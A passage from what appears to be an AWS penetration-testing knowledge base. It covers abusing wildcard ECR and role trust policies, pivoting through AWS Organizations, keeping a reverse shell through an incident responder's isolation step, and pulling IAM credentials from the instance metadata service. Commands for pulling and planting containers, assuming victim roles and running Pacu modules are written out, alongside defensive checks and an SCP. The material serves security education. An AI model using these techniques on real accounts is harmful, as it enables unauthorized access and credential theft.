      A unique requirement to abusing misconfigured resource-based policies in ECR is ecr:GetAuthorizationToken. The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the Action element is ecr:*). For scenarios in which the policy has a wildcard principal and a broken policy, this is not a problem as you can create a role with the needed permission.

      Note

      When interacting with an ECR private repository via the Docker cli, you use ecr:GetLoginPassword to authenticate. This calls ecr:GetAuthorizationToken to provide the needed authorization.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#downloading-containers","title":"Downloading Containers","text":"

      Required Permissions: ecr:GetLoginPassword, ecr:BatchGetImage, ecr:GetDownloadURLForLayer.

      As an example, take the following misconfigured resource policy for an ECR private repository.

      {\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"AllowAll\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": [\n        \"ecr:BatchGetImage\",\n        \"ecr:GetDownloadUrlForLayer\"\n      ]\n    }\n  ]\n}\n

      This policy would permit us the ability to download containers from the vulnerable repository to our own account. We can take advantage of this with the following commands. First, we need to authenticate to the repository.

      aws ecr get-login-password --region <region> | docker login --username AWS --password-stdin <account ID>.dkr.ecr.<region>.amazonaws.com\n

      Next, we will pull the container with the following command.

      docker pull <account ID>.dkr.ecr.<region>.amazonaws.com/<repository name>:vulnerable\n

      We can now loot this container for source code or other valuable information.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#uploading-containers","title":"Uploading Containers","text":"

      Required Permissions: ecr:GetLoginPassword, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:PutImage.

      Info

      As an anecdotal aside, the number of permissions required to perform a container upload may inadvertently increase the likelihood of a Principal being set to *. If you're a developer or ops person just trying to get something done, it may be enticing to set it to a wildcard and be done with it/forget about it.

      As an example, take the following misconfigured resource policy for an ECR private repository.

      {\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"ExamplePolicy\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": \"ecr:*\"\n    }\n  ]\n}\n

      This policy would permit us the ability to upload containers to the repository from our own account. We can take advantage of this with the following commands. First, we need to authenticate to the repository.

      aws ecr get-login-password --region <region> | docker login --username AWS --password-stdin <account ID>.dkr.ecr.<region>.amazonaws.com\n

      Next, we need to create/choose a container to upload. In a real world scenario you would likely want to create a container which runs your C2 of choice, or perhaps a simple script to retrieve IAM credentials. For this example, we will use an Ubuntu container.

      docker tag ubuntu:latest <account ID>.dkr.ecr.<region>.amazonaws.com/<repository name>:vulnerable\n

      And finally we push the container into the repository.

      docker push <account ID>.dkr.ecr.<region>.amazonaws.com/<repository name>:vulnerable\n

      Now we simply have to wait for a service (ECS, EKS, EC2, Lambda, etc.) to pull this malicious container and execute it, giving us access to that environment.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#identification","title":"Identification","text":"

      To find exposed ECR private repositories you can use Prowler, an open source tool to audit for AWS security. The following command can be used with version 3.0 or higher.

      ./prowler -c ecr_repositories_not_publicly_accessible\n                         _\n _ __  _ __ _____      _| | ___ _ __\n| '_ \\| '__/ _ \\ \\ /\\ / / |/ _ \\ '__|\n| |_) | | | (_) \\ V  V /| |  __/ |\n| .__/|_|  \\___/ \\_/\\_/ |_|\\___|_|v3.0-beta-21Nov2022\n|_| the handy cloud security tool\n\nDate: 2022-11-26 19:12:03\n\nThis report is being generated using credentials below:\n\nAWS-CLI Profile: [default] AWS Filter Region: [all]\nAWS Account: [000000000000] UserId: [AROAQQPLEQBZZHQGGAQ55:Nick]\nCaller Identity ARN: [arn:aws:sts::000000000000:assumed-role/snip/Nick]\n\nExecuting 1 checks, please wait...\n\n-> Scan is completed! |\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589| 1/1 [100%] in 4.5s \n\nOverview Results:\n\u256d\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\n\u2502 100.0% (1) Failed \u2502 0.0% (0) Passed \u2502\n\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\n\nAccount 009619941490 Scan Results (severity columns are for fails only):\n\u256d\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\n\u2502 Provider   \u2502 Service   \u2502 Status   \u2502   Critical \u2502   High \u2502   Medium \u2502   Low \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 aws        \u2502 ecr       \u2502 FAIL (1) \u2502          1 \u2502      0 \u2502        0 \u2502     0 \u2502\n\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\n

      Note

      Condition elements may induce false positives.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/","title":"Abusing Misconfigured Role Trust Policies with a Wildcard Principal","text":"

      As penetration testers and red teamers we often take advantage of misconfigurations to exploit cloud environments. These are mistakes made by developers and DevOps engineers that make applications and services vulnerable to attack. In this article we will explore one of the more egregious mistakes that can be made in an AWS environment; setting a wildcard as a Principal in a role trust policy.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/#role-trust-policies","title":"Role Trust Policies","text":"

      As stated in the AWS documentation, a role trust policy is, \"A JSON policy document in which you define the principals that you trust to assume the role. A role trust policy is a required resource-based policy that is attached to a role in IAM\".

      This policy typically looks like the following:

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::111111111111:root\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

      This policy would Allow anyone in the 111111111111 account the ability to perform the action sts:AssumeRole (assume the role), provided that they have the action in their IAM identity-based policy.

      As mentioned in our documentation on Misconfigured Resource Based Policies, there are a variety of options that can be used for the Principal element, including, AWS accounts, specific IAM roles, role sessions, IAM users, and AWS services. Arguably the most risky is the \"wildcard\" Principal. This Principal encompasses ALL AWS principals.

      Warning

      A common misunderstanding is that the wildcard Principal is limited to either the same AWS account or the same AWS organization. This is not correct. The wildcard Principal applies to EVERY AWS account.

      If a role trust policy is configured with a wildcard Principal element, such as the one shown below, anyone in the world can assume the role.

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"*\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

      It's worth noting that, while the simplest version of this misconfiguration can be easy to spot, more complex versions you will see in the wild may not be. Take the following policy for example:

      Warning

      Do NOT use this trust policy.

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"*\"\n            },\n            \"Action\": \"sts:AssumeRole\",\n            \"Condition\": {\n                \"ArnNotEquals\": {\n                    \"aws:PrincipalArn\": \"arn:aws:iam::555555555555:role/intent-allow-role\"\n                }\n            }\n        }\n    ]\n}\n

      In this example, the intention was to create a policy that Denied all Principals except the intent-allow-role. However, while creating this policy, the Effect was mistakenly changed to an Allow, which had the opposite effect, now anyone except intent-allow-role can assume the role.

      These types of more complicated role trust policies may slip through some CSPM/CNAPP solutions which don't thoroughly model all IAM policies. Be on the lookout for these types of mistakes on your next assessment!

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/#how-to-exploit","title":"How to Exploit","text":"

      In order to exploit a role that has a wildcard set as a Principal, you simply invoke sts:AssumeRole from an attacker controlled AWS account. Any AWS account, including those outside of the victim's AWS Organization, will work.

      aws sts assume-role \\\n--role-arn arn:aws:iam::222222222222:role/victim-role \\\n--role-session-name blahsessionname\n

      Tip

      There are various methods to enumerate role ARNs such as unauthenticated brute force, and enumerating an ARN from a unique identifier.

      "},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/","title":"AWS CLI Tips and Tricks","text":""},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#standard-inputoutput-redirection-with-","title":"Standard Input/Output Redirection with \"-\"","text":"

      Warning

      The following examples have been tested in bash and zsh. Functionality may vary in other shells. If you find these commands work in additional environments, please open a pull request to update this note.

      When working in an AWS environment, you may frequently need to view the contents of objects stored in S3. The traditional approach involves a two-step process: using s3:cp to download the file to your local machine, then using cat or a similar tool to view it. While effective, this method can clutter your local system with temporary files and may be slower than necessary.

      Fortunately, the AWS CLI allows us to simplify this process by using the - character which represents standard input/output (STDIN/STDOUT). Using -, you can read or write file content directly from or to S3 without creating local copies.

      "},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#reading-from-s3","title":"Reading from S3","text":"

      To read the contents of an object stored in S3 without having to download it first, use the following command:

      aws s3 cp s3://bucket-name/object-key -\n

      Example:

      nick@host:~$ aws s3 cp s3://hackingthecloud/content -\nhacking the cloud\n
      "},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#writing-to-s3","title":"Writing to S3","text":"

      To upload content directly to an object in S3 without a temporary file, use this command:

      echo \"hacking the cloud\" | aws s3 cp - s3://bucket-name/object-key\n

      This command writes the specified text to an S3 object, again bypassing the need for a local file.

      "},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#modifying-the-cloudtrail-log-user-agent-with-aws_execution_env","title":"Modifying the CloudTrail Log User-Agent with AWS_EXECUTION_ENV","text":"

      Shout-out

      Shout-out to Christophe Tafani-Dereeper for showing me this.

      When making API calls to AWS, a User-Agent header is included in each request, containing details about the client making the request. Although it\u2019s not possible to fully customize this header, you can append information to it, which can be useful for tracking API calls in CloudTrail logs.

      One way to modify the User-Agent is by setting the AWS_EXECUTION_ENV environment variable, used by AWS SDKs to identify the execution environment. Tools like grimoire leverage this variable to append custom information to the User-Agent header, making API tracking more informative.

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/","title":"AWS Organizations Defaults & Pivoting","text":"
      • Original Research

        Pivoting AWS Organizations 1 & Pivoting AWS Organizations 2 by Scott Weston

      Almost all mid-to-large sized AWS environments make use of multi-account architecture. Using multiple AWS accounts offers a number of benefits and is considered a best practice. To help organize and manage those accounts, AWS offers a service called AWS Organizations.

      Due to the ubiquity of AWS Organizations, it is important for Penetration Testers and Red Teamers to familiarize themselves with its default configuration.

      When an account creates an organization it becomes the management account of that organization. Each organization has one management account, and this account effectively \"owns\" the organization.

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#creating-member-accounts-default-organizationaccountaccessrole","title":"Creating Member Accounts: Default OrganizationAccountAccessRole","text":"

      When an account is created through AWS Organizations, it is considered a member of the organization (hence, member account). As a part of this account creation process, AWS Organizations will create a role in the member account called OrganizationAccountAccessRole. This role is created in each member account.

      By default, the OrganizationAccountAccessRole has the AdministratorAccess policy attached to it, giving the role complete control over the member account. In addition, the default trust policy on the role is as shown below where 000000000000 is the account ID of the management account.

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::000000000000:root\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

      These things combined mean that, should an attacker compromise the management account, the default behavior of AWS Organizations provides a path to compromise every account in the organization as an administrator, assuming that the member account was created through AWS organizations (as opposed to invited). For offensive security professionals, identifying paths into the management account can be an incredibly fruitful exercise, and may result in an entire organization compromise.

      For defensive security teams, it would be a good idea to ensure no infrastructure is deployed into the management account to reduce attack surface. Additionally, carefully controlling who has access to it and monitoring that access would also help to reduce risk.

      Scott Weston has added a module to Pacu to brute force this role name or a list of role names. So if a management account is compromised, and the user wants to attempt to assume one to many role names on all accounts, they can run the following Pacu Module

      Pacu (role:ManagementAccount) > run organizations__assume_role\n[ Review the results to see if any of the following roles are assumed] \n
      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#inviting-pre-existing-member-accounts-trusted-access-delegated-administration","title":"Inviting Pre-Existing Member Accounts: Trusted Access & Delegated Administration","text":"

      When a pre-existing AWS account is invited to join an organization, it does not auto-generate a default role with AdministratorAccess like the account creation workflow. As a pentester, one can look into trusted access and delegated administration to see if there are any more avenues to pivot such that you can move from the compromised management account/delegated admin to another member account in the organization. Depending on the features available, this might allow for indirect access to other member accounts (ex. IAM Access Analyzer), or direct access with some setup (IAM Identity Center).

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#organization-integrated-features","title":"Organization-Integrated Features","text":"

      Many AWS services include specific features that have the capability to scope to the entire organization. For example, IAM Access Analyzer is a feature within the overall IAM service. Normally a user would just run Access Analyzer on their own AWS account to find roles with trust policies that reference outside AWS account sources. Because IAM Access Analyzer is an organization-integrated feature, if the target AWS account is part of an organization, a user can choose to scope Access Analyzer from their single account to the organization meaning Access Analyzer will check all AWS account roles in the organization and consider \"untrusted\" sources as any resource outside of the organization (as opposed to the single AWS account). IAM Access Analyzer is just one example, but there are a multitude of features that can do a similar scope increase to the organization that all behave differently. This might sound complicated, but from a UI perspective, this basically just means there is another option in the dropdown or radio buttons when kicking off the service that lets you choose \"organization\" instead of the specifc account you are in. A list of all these can be found here

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#helpful-diagram","title":"Helpful Diagram","text":"

      Trusted Access & Delegated Administration

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#trusted-access","title":"Trusted Access","text":"

      These organization integrated features are in an \"off\" state by default. Trusted access is the act of the management account turning \"on\" the organization integrated features. For example, even if a member account is part of an organization, they will not be able to increase the scope of IAM Access Analyzer to the organization until the management account enables trusted access for IAM Access Analyzer for the organization. On a technical level, the act of turning \"on\" an organization-integrated feature via trusted access allows the feature to make roles in member accounts to carry out its tasks. There is an AWS CLI command the management account can run to enable one of these organization-integrated features and list those that are present as seen below:

      Note

      Trusted access is enabled via the management account and allows IAM Access Analyzer to reach into all member accounts to achieve its objective.

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#delegated-administration","title":"Delegated Administration","text":"

      Delegated Administration is pretty much like trusted access, but is from the perspective of a member account. In delegated administration, the user allows one of the member accounts to execute an organization-integrated feature on the AWS organization, essentially \"delegating\" the \"administration\" of that feature to that member account. We would say that a member account is \"a delegated administrator for service ABC (ex. IAM Access Analyzer).\" The CLI command to see all delegated administrators in an organization is shown below. If you are a member account, and call this API, and your AWS account is listed in the output, than that is a good way to confirm you are in a delegated admin account. Note again that a delegated admin is for a specific service so rather than searching through every single feature to see what you are a delegated admin for, you can call the API shown below to see what specific feature you are a delegated admin for.

      Besides the ability to run specific organization-integrated features, note that the member account also in general gains access to numerous read-only APIs. For example, note how this CLI command states that a \"delegated administrator\" can run it. While a default member account can only see itself and the management account in an organization, a delegated administrator can potentially see all AWS accounts in the organization.

      As of late 2022, delegated administrators also potentially have the ability to manipulate SCPs (which are basically IAM policy filters at the organization level). See the attached blog article for a review of this avenue.

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#iam-access-analyzer-indirect-route","title":"IAM Access Analyzer (Indirect Route):","text":"

      IAM Access Analyzer allows one to scan all roles in the organization. If an attacker compromises the managament account where trusted access is enabled for IAM Access Analyzer (or the attacker enables it depending on permissions), the attacker could run IAM Access Analyzer on the entire organization and review the results to see if there are any misconfigured roles they can pivot to. Note the attacker NEVER directly got access to the member accounts and was constrained to the management account. Rather the attacker just ran the organization-integrated feature which accesses the member accounts giving the attacker indirect access to the organization. See the blog post in references for images/walkthrough.

      Now imagine an attacker compromises a member account. If the member account is a delegated administrator for IAM Access Analyzer, the attacker can perform a similar action of launching the feature and reviewing the results without ever directly accessing the member accounts. In addition, if a delegated administrator is compromised, the attacker can also see much more of the organization and what the structure looks like due to their read-only rights. See the blog post in references for images/walkthrough.

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#iam-identity-center-direct-route","title":"IAM Identity Center (Direct Route)","text":"

      IAM Identity center supports trusted access, and allows one to create a user entity, a permission set, and attach the user and permission set to an account in the organization. So, if an attacker compromises a management account, the attacker could enable trusted access for IAM Identity Center (assuming it is not already enabled). Then the attacker (if they have the necessary permissions), can create a user entity with a username/password and the attacker email, and create a permission set entity that is the equivalent of AdministratorAccess. The attacker can then attach the user and permissions to a member account in the organization through IAM Identity Center in the management account, and navigate to the IAM Identity Center login link. The attacker then can enter the users username/password and get access to the member account directly as Administrator Access. See the references section for the blog post with images/walkthrough/etc.

      "},{"location":"aws/general-knowledge/aws_organizations_defaults/#automated-tools","title":"Automated Tools","text":"

      To enumerate an organization for all the info discussed above, you can use the Pacu module shown below:

      # Run Module\nPacu (Session: Keys) > run organizations__enum\n\n# See Data Collected/Enumerated\nPacu (Session: Keys) > data organizations\n

      Relevant pull requests can be found here and here.

      "},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/","title":"Prevent Expensive AWS API Actions with SCPs","text":"
      • Original Research

        List of expensive / long-term effect AWS IAM actions by Ian McKay

      • Additional Resources

        • Service Control Policies (SCPs)
        • Attaching and detaching service control policies

      An ever-present danger when using AWS is accidentally making an API call that could cost you thousands of dollars. Speaking from experience, this can be a remarkably stressful time. To mitigate this risk, implementing guardrails on your account is essential. One way to do this is to block API operations which are known to be expensive. Operations like signing up for certain AWS services or creating non-deletable resources can lead to high costs.

      "},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/#understanding-service-control-policies","title":"Understanding Service Control Policies","text":"

      To help prevent billing headaches when learning about AWS security or conducting research we can use a Service Control Policy (SCP). An SCP is a type of organizational policy which restricts what API calls can be made by member accounts in an AWS Organization. Thanks to the work of Ian McKay, and other community members, we have a list of AWS API operations which are prohibitively expensive and should be avoided.

      To implement the policy below, refer to the AWS documentation for detailed instructions on attaching and managing SCPs.

      Warning

      While this SCP provides a significant safeguard, it is not entirely foolproof. You can still incur high charges if not careful. This policy only blocks known problematic API calls. Always exercise caution when creating or configuring resources in AWS.

      "},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/#safeguard-scp","title":"Safeguard SCP","text":"
      {\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"Statement1\",\n      \"Effect\": \"Deny\",\n      \"Action\": [\n        \"route53domains:RegisterDomain\",\n        \"route53domains:RenewDomain\",\n        \"route53domains:TransferDomain\",\n        \"ec2:ModifyReservedInstances\",\n        \"ec2:PurchaseHostReservation\",\n        \"ec2:PurchaseReservedInstancesOffering\",\n        \"ec2:PurchaseScheduledInstances\",\n        \"rds:PurchaseReservedDBInstancesOffering\",\n        \"dynamodb:PurchaseReservedCapacityOfferings\",\n        \"s3:PutObjectRetention\",\n        \"s3:PutObjectLegalHold\",\n        \"s3:BypassGovernanceRetention\",\n        \"s3:PutBucketObjectLockConfiguration\",\n        \"elasticache:PurchaseReservedCacheNodesOffering\",\n        \"redshift:PurchaseReservedNodeOffering\",\n        \"savingsplans:CreateSavingsPlan\",\n        \"aws-marketplace:AcceptAgreementApprovalRequest\",\n        \"aws-marketplace:Subscribe\",\n        \"shield:CreateSubscription\",\n        \"acm-pca:CreateCertificateAuthority\",\n        \"es:PurchaseReservedElasticsearchInstanceOffering\",\n        \"outposts:CreateOutpost\",\n        \"snowball:CreateCluster\",\n        \"s3-object-lambda:PutObjectLegalHold\",\n        \"s3-object-lambda:PutObjectRetention\",\n        \"glacier:InitiateVaultLock\",\n        \"glacier:CompleteVaultLock\",\n        \"es:PurchaseReservedInstanceOffering\",\n        \"backup:PutBackupVaultLockConfiguration\",\n        \"bedrock:CreateProvisionedModelThroughput\",\n        \"bedrock:UpdateProvisionedModelThroughput\"\n      ],\n      \"Resource\": [\n        \"*\"\n      ]\n    }\n  ]\n}\n
      "},{"location":"aws/general-knowledge/connection-tracking/","title":"Connection Tracking","text":"
      • Original Research

        Abusing AWS Connection Tracking by Nick Frichette

      Security Groups in AWS have an interesting capability known as Connection Tracking. This allows the security groups to track information about the network traffic and allow/deny that traffic based on the Security Group rules.

      There are two kinds of traffic flows; tracked and untracked. For example the AWS documentation mentions a tracked flow as the following, \"if you initiate an ICMP ping command to your instance from your home computer, and your inbound security group rules allow ICMP traffic, information about the connection (including the port information) is tracked. Response traffic from the instance for the ping command is not tracked as a new request, but rather as an established connection and is allowed to flow out of the instance, even if your outbound security group rules restrict outbound ICMP traffic\".

      An interesting side effect of this is that tracked connections are allowed to persist, even after a Security Group rule change.

      Let's take a simple example: There is an EC2 instance that runs a web application. This EC2 instance has a simple Security Group that allows SSH, port 80, and port 443 inbound, and allows all traffic outbound. This EC2 instance is in a public subnet and is internet facing.

      While performing a penetration test you've gained command execution on this EC2 instance. In doing so, you pop a simple reverse shell. You work your magic on the box before eventually triggering an alert to our friendly neighborhood defender. They follow their runbooks which may borrow from the official AWS whitepaper on incident response.

      As part of the \"Isolate\" step, the typical goal is to isolate the affected EC2 instance with either a restrictive Security Group or an explicit Deny NACL. The slight problem with this is that NACLs affect the entire subnet, and if you are operating in a space with a ton of EC2 instances the defender is unlikely to want to cause an outage for all of them. As a result, swapping the Security Group is the recommended procedure.

      The defender switches the Security Group from the web and ssh one, to one that does not allow anything inbound or outbound.

      The beauty of connection tracking is that because you've already established a connection with your shell, it will persist. So long as you ran the shell before the SG change, you can continue scouring the box and looking for other vulnerabilities.

      To be clear, if the restrictive security group doesn't allow for any outbound rules we won't be able to communicate out (and if you're using a beaconing C2 that will not function).

      "},{"location":"aws/general-knowledge/iam-key-identifiers/","title":"IAM ID Identifiers","text":"
      • Additional Resources

        Reference: AWS Documentation: Unique Identifiers

      In AWS, different resources are assigned a \"unique identifier\". This identifier is a unique, 21 character value. The first four characters of the identifier are a prefix to denote the type of resource it represents.

      The full list of prefixes can be found below.

      Prefix Entity Type ABIA AWS STS service bearer token ACCA Context-specific credential AGPA Group AIDA IAM user AIPA Amazon EC2 instance profile AKIA Access key ANPA Managed policy ANVA Version in a managed policy APKA Public key AROA Role ASCA Certificate ASIA Temporary (AWS STS) keys

      From a security perspective, there are 2 primary prefixes which are important to know, AKIA and ASIA.

      "},{"location":"aws/general-knowledge/iam-key-identifiers/#akia","title":"AKIA","text":"

      IAM credentials with the AKIA prefix belong to long lived access keys. These are associated with IAM users. These credentials can potentially be exposed and used by attackers. Because they do not expire by default, they serve as an excellent vehicle to gain initial access to an AWS environment.

      "},{"location":"aws/general-knowledge/iam-key-identifiers/#asia","title":"ASIA","text":"

      IAM credentials with the ASIA prefix belong to short lived access keys which were generated using STS. These credentials last for a limited time. In the event you come across an access key prefixed with ASIA, a secret key, and a session token, make use of them quickly before they expire.

      "},{"location":"aws/general-knowledge/intro_metadata_service/","title":"Introduction to the Instance Metadata Service","text":"

      Every EC2 instance has access to the instance metadata service (IMDS) that contains metadata and information about that specific EC2 instance. In addition, if an IAM Role is associated with the EC2 instance, credentials for that role will be in the metadata service. Because of this, the instance metadata service is a prime target for attackers who gain access to an EC2 instance.

      "},{"location":"aws/general-knowledge/intro_metadata_service/#how-to-access-the-metadata-service","title":"How to Access the Metadata Service","text":"

      The metadata service can be accessed at http://169.254.169.254/latest/meta-data/ from the EC2 instance. Alternatively, it can also be reached via IPv6 at http://[fd00:ec2::254]/latest/meta-data/ however this only applies to Nitro EC2 instances.

      To get credentials, you will first need to make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. The response to this will return the name of the IAM role associated with the credentials. You then make a subsequent request to retrieve the IAM credentials at http://169.254.169.254/latest/meta-data/iam/security-credentials/*role_name*/.

      "},{"location":"aws/general-knowledge/intro_metadata_service/#imdsv2","title":"IMDSv2","text":"

      Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

      user@host:~$ TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\nuser@host:~$ curl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/meta-data/\n
      "},{"location":"aws/general-knowledge/intro_metadata_service/#the-security-benefits-of-imdsv2","title":"The Security Benefits of IMDSv2","text":"

      IMDSv2 offers a number of security improvements over the original. Wherever possible, IMDSv2 should be enforced over the original metadata service. These improvements take the following form:

      Session Authentication: In order to retrieve information from the metadata service a session must be created by sending a HTTP PUT request to retrieve a token value. After this, the token must be used for all subsequent requests. This mechanism effectively mitigates traditional Server Side Request Forgery attacks, as an attacker is unlikely to be able to send a PUT request.

      Blocks X-Forwarded-For Header: IMDSv2 will block requests to fetch a token that include the X-Forwarded-For header. This is to prevent misconfigured reverse proxies from being able to access it.

      TTL of 1: The default configuration of IMDSv2 is to set the Time To Live (TTL) of the TCP packet containing the session token to \"1\". This ensures that misconfigured network appliances (firewalls, NAT devices, routers, etc.) will not forward the packet on. This also means that Docker containers using the default networking configuration (bridge mode) will not be able to reach the instance metadata service.

      Note

      While the default configuration of IMDSv2 will prevent a Docker container from being able to reach the metadata service, this can be configured via the \"hop limit.\"

      "},{"location":"aws/general-knowledge/intro_metadata_service/#what-info-the-metadata-service-contains","title":"What Info the Metadata Service Contains","text":"

      The following information was pulled from here.

      Endpoint Description ami-id The AMI ID used to launch the instance. ami-launch-index If you started more than one instance at the same time, this value indicates the order in which the instance was launched. The value of the first instance launched is 0. ami-manifest-path The path to the AMI manifest file in Amazon S3. If you used an Amazon EBS-backed AMI to launch the instance, the returned result is unknown. hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). iam/info If there is an IAM role associated with the instance, contains information about the last time the instance profile was updated, including the instance's LastUpdated date, InstanceProfileArn, and InstanceProfileId. Otherwise, not present. iam/security-credentials/role-name If there is an IAM role associated with the instance, role-name is the name of the role, and role-name contains the temporary security credentials associated with the role. Otherwise, not present. identity-credentials/ec2/info [Internal use only] Information about the credentials in identity-credentials/ec2/security-credentials/ec2-instance. These credentials are used by AWS features such as EC2 Instance Connect, and do not have any additional AWS API permissions or privileges beyond identifying the instance. instance-id The ID of this instance. local-hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). local-ipv4 The private IPv4 address of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). public-hostname The instance's public DNS. This category is only returned if the enableDnsHostnames attribute is set to true. public-ipv4 The public IPv4 address. If an Elastic IP address is associated with the instance, the value returned is the Elastic IP address. public-keys/0/openssh-key Public key. Only available if supplied at instance launch time. security-groups The names of the security groups applied to the instance."},{"location":"aws/general-knowledge/introduction_user_data/","title":"Introduction to User Data","text":"

      Instance user data is used to run commands when an EC2 instance is first started or after it is rebooted (with some configuration). Because this script is typically used to install software and configure the instance, this can be an excellent source of information for us as attackers. After gaining access to an EC2 instance you should immediately grab the user data script to gain information on the environment.

      Warning

      Although it should not be done, credentials/secrets often end up being stored in user data. From the AWS docs, \"Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata. Therefore, you should not store sensitive data, such as passwords or long-lived encryption keys, as user data.\"

      "},{"location":"aws/general-knowledge/introduction_user_data/#how-to-access-ec2-user-data","title":"How to Access EC2 User Data","text":"

